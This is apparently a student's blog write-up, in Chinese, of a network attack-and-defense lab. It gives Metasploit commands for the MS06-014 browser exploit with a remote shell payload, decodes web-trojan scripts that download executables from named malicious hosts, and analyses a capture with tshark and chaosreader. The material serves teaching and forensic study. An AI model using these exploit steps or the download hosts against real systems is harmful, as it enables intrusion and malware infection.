20212918 2021-2022-2 《网络攻防实践》第十一次作业

1 实验内容

(1)web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
①选择使用Metasploit中的MS06-014渗透攻击模块。
②选择PAYLOAD为任意远程Shell连接。
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

Web浏览端的渗透攻击威胁--网页木马

  • 概念:网页木马是一种利用浏览器的安全漏洞,挂接在网页上的恶意脚本。本质上是浏览器渗透攻击。
  • 网页木马介绍:网页木马采用的是客户端渗透攻击的方式,需要web浏览端软件来访问构造的恶意web页面内容,才可能触发渗透攻击过程。因此,网页木马是一种被动攻击,需要通过技术手段诱使互联网用户访问木马页面。实施网页木马攻击往往会涉及较为复杂的多步骤攻击场景,需要多种类型的恶意代码及网络资源。
  • 攻击原理:网页病毒是利用网页来进行破坏的病毒,它存在于网页之中,其实是使用一些SCRIPT语言编写的一些恶意代码利用IE的漏洞来实现病毒植入。当用户登录某些含有网页病毒的网站时,网页病毒便被悄悄激活,这些病毒一旦激活,可以利用系统的一些资源进行破坏。轻则修改用户的注册表,使用户的首页、浏览器标题改变,重则可以关闭系统的很多功能,装上木马,染上病毒,使用户无法正常使用计算机系统,严重者则可以将用户的系统进行格式化。而这种网页病毒容易编写和修改,使用户防不胜防。
    (2)取证分析实践—网页木马攻击场景分析
    ①先访问start.html,这个文件中给出了new09.htm的地址。
    ②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
    ③如果解密出的地址给出的是网页或脚本文件,继续解密。
    ④如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试。
    ⑤重复以上过程直到这些文件被全部分析完成。
  • 网页木马:从 2004 年名噪一时的“网银大盗”案件开始,网页木马可以称得上是国内互联网上最流行的网络攻击技术形态之一,由网络虚拟资产盗窃等地下经济链所驱动,通过利用 Web 浏览端的各种软件安全漏洞进行渗透攻击,向终端计算机植入恶意程序,窃取网民用户的敏感信息和网络虚拟资产,从而给广大网民带来严重的安全危害。
    网页木马的检测与分析技术
  • 基于特征码匹配的传统检测方法:在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马。
  • 基于动态行为结果判定的检测分析方法:这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型 Web 访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。
    (3)攻防对抗实践—web浏览器渗透攻击攻防
    ①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
    ②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2 实践过程

2.1 web浏览器渗透攻击

虚拟机 IP
kali 192.168.200.7
win2k 192.168.200.128
  • 1、首先在 kali 中打开Metasploit,选择MS06-014为攻击的漏洞。
use exploit/windows/browser/ie_createobject //使用漏洞
设置参数:
set lhost 192.168.200.195
set SRVPORT 80
set URIPATH
设置payload并执行:
set payload windows/shell/bind_tcp
run

image

  • 2、我们在靶机中用浏览器打开http://192.168.200.7:8080/hx7ReNEV1
    image
  • 3、在攻击机中我们发现会话建立成功
    image
  • 4、使用sessions -i 1,即可进入会话。在会话中,我们可以运行靶机中的命令。
    image

2.2 网页木马攻击取证分析

2.2.1 网页源码分析

url MD5
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2
  • 然后按照http://192.168.68.253/scom/hashed/MD5值的格式下载文件,得到1.js、b.js、pps.js、bd.cab这四个文件。接下来依次对这些文件进行分析。

2.2.2 分析js文件

2.2.2.1 1.js

image

  • 包含十六进制字符串,对其进行hexdecode
    image
    可以看到这个文件会下载一个名为014.exe的可执行文件。

2.2.2.2 b.js

image

  • 为了解密,我们可以将前面的eval改成alert,然后用script标签包裹起来,将其改成htm文件,查看返回的字符。
    image
  • 我们可以看到出现了全是'%u'的字符串,应该是shellcode。我们使用同学提供的脚本工具FreShow对该字符串进行两次解码。第一次解码,如下图
    image
  • 第二次解码,得到一段字符GetProc"+"AddressGetSyste"+"mDirectoryAWinE"+"xecExitThreadL"+"oadLibraryAurlm"+"onURLDownloadTo"+"FileAhttp://down.18dd.net/bb/bf.exe
    image
    分析得出,这个文件会从 http://down.18dd.net/bb/bf.exe,将一个名叫bf.exe文件下载下来。

2.2.2.3 pps.js

image

  • 这个pps.js是一个八进制加密文件。使用FreShow解码三次解码。第一次解码,得到shellcode编码。
    image
  • 第二次解码
    image
  • 第三次解码,可以看到有一条链接http://down.18dd.net/bb/pps.exe 。该链接会下载pps.exe文件。
    image
  • 对上述得到的3个链接求MD5的值
    image
    image
    image
链接 MD5值
http://down.18dd.net/bb/014.exe ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe 268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe ff59b3b8961f502289c1b4df8c37e2a4

2.2.3 可执行文件的分析

分析可知,四个可执行文件是一样的,因此我们分析pps.exe为例。

  • 先查看PEiD,发现该程序是用Delphi语言写的。
    image
  • 用IDA进行反编译。
    image
  • 在Strings中发现了20个用于下载exe文件的链接。
    image

2.3 Web浏览器渗透攻击攻防

  • 作为攻击方的kali,重复实践一的过程,将产生的链接发给防御方。
    image
  • 进入会话,运行ipconfig命令,发现该命令获取到了靶机的IP地址。
    image
  • 在靶机上用浏览器打开攻击机给出的链接后,查看恶意页面的源代码。
    image
  • 去除空格
    image
    分析代码,发现该代码主要有三个函数oKJDdBQrZfhhHtuwIIqpxLLmAqmE,qwpZKQSRmTheTIknPlv和nnPiNsOYORfiRQIWiaObcEcwFOy。
    第一个函数的实现可以看到主要是使用方法CreateObject()&GetObject()获取字符
    第二个函数有一些熟悉的关于网页的关键词,Shell、payload、XMLHTTP、ServerXMLHTTP并且从代码的实现可以看到这是对网页的操作
    最后一个函数中设置了很多数组,经查看到BD96C556这个字符串就是漏洞MS06-014;
    从上述的三个函数和函数的实现可以大致猜测出这个挂马网页的执行流程:首先执行CreateObject()和GetObject()获取字符,猜测是用户名和密码关键字;然后是对网页进行操作即开始部署钓鱼网站;最后使用漏洞MS06-014实施攻击;

2.4 Web 浏览器攻击取证分析

  • 使用命令sudo apt-get install chaosreader安装chaosreader
    image
  • 使用命令chaosreader -r suspicious-time.pcap打开 suspicious-time.pcap 文件,发现攻击主要集中在HTTP协议上
    image
  • 使用下面的命令查询有哪些 IP 地址和域名在进行攻击:
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort

image

  • 通过tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u,可以显示NB开头的协议,也就是NBNS 协议,它是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称,这里可以发现四个主机的主机名都一样
    image
  • 通过tshark -r suspicious-time.pcap | grep 'NB.1e>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u,可以看到对应IP的用户组都是WORKGROUP
    image
  • 通过tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'得到捕获文件中的所有网页页面
    image
  • 打开地址rapidshare.com.eyu32.ru/login.php对应的页面,看到是一个登录页面,推测是一个钓鱼网站
    image
  • 打开session_0007.part_02.html,其对应的sploitme.com.cn ,发现 404 NotFound
    image
  • 查看其源代码
    image
    发现其将恶意页面伪装成404页面
    如果用户在不知情的情况下进行注册和登录,个人隐私信息会被传输到sploitme.com.cn/?click=XXXX,再重定向到sploitme.com.cn/fg/show.php?s=XXXX,该链接包含js代码,同时返回用户一个假的的404页面,通过检索程序搜索用户主机漏洞,然后客户机将正常浏览页面,攻击服务器会发送一个新的链接shop.honetnet.sg/catalog/,连接到无害的页面sploitme.com.cn,在用户主机上的恶意软件将访问www.honeynet.org。

3 学习中遇到的问题及解决

  • 实验一中,seesion总是建立不成功,被关闭。
    解决方法:将payload更换为正向连接的paylaodwindows/shell/bind_tcp,最后攻击成功。

4 实验总结

在本次实验中,我了解了关于web浏览器渗透攻击的一些基础知识和网页木马攻击的一些基础内容,但是由于本科期间没接触过这些内容,做起来不懂的地方很多,但经过查资料以及询问同学,成功将实验做了下来,收获很多。

posted @ 2022-05-27 11:47  別來無恙〆  阅读(90)  评论(0编辑  收藏  举报